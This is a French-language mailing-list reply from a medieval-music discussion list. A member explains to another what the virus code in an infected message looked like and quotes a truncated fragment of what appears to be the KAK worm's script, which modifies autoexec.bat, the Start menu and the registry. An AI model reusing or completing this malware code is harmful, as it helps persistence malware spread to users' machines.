référence : http://listes.cru.fr/arc/medievale/2000-03/msg00075.html
     Chronologie       
     Conversation       

[MEDIEVALE:2392] Re: Virus Olivier Bettens



Christina Egli :

>Excusez la question : Ca ressemble à quoi un code exécutable ? Parce que
>après la lecture du message de Florence, je n'ai rien remarqué de spécial
>sur mon ordinateur ...

Voici un petit extrait du message de Florence, tel que je l'ai reçu :

"+'System\\\\'+fic+'.hta';kk=(fs.FileExists(kfr))?kfr:ken;aek='C:\\\\AE.KAK'
;aeb='C:\\\\Autoexec.bat';if(!fs.FileExists(aek)){re=/kak.hta/i;if(hO.comman
dLine.search(re)!=-1){f1=fs.GetFile(aeb);f1.Copy(aek);t1=f1.OpenAsTextStream
(8);pth=(kk==kfr)?wd+'MENUD~1\\\\PROGRA~1\\\\DMARR~1\\\\kak.hta':ken;t1.Wr
iteLine('@echo off>'+pth);t1.WriteLine('del
'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(k2)
.Attributes=2;}t2=fs.CreateTextFile(wd+'kak.reg');t2.write('REGEDIT4');t2.Wr
iteBlankLines(2);ky='[HKEY_CURRENT_USER\\\\Identities\\\\'+idn+'\\\\Software
\\\\Microsoft\\\\Outlook Express\"

Vous constaterez que ce code sournois est censé bidouiller notamment la
base de registres, le menu démarrer et le fichier autoexec.bat...

Quant à vous, vous devriez avoir été épargnée car vous utilisez Eudora ! 

OB
Olivier Bettens, Cossonay, Suisse.               obettens@virga.org
------------------------------------------------------------------
Chantez-vous français
                Le Jeu de Robin et Marion
                                     Zarlino : justesse a cappella
---------------------> http://virga.org/ <------------------------

-------------------------------------------------------------medievale-+
_______________________________________________________________________________

>>> Pour être retiré de cette liste d'envois,

écrire à:   listproc@uqam.ca

    avec comme seule ligne de message:

unsubscribe MEDIEVALE


Note: la commande doit apparaître dans le corps du message, 
      NON PAS dans le Sujet.
-------------------------------------------------------------medievale--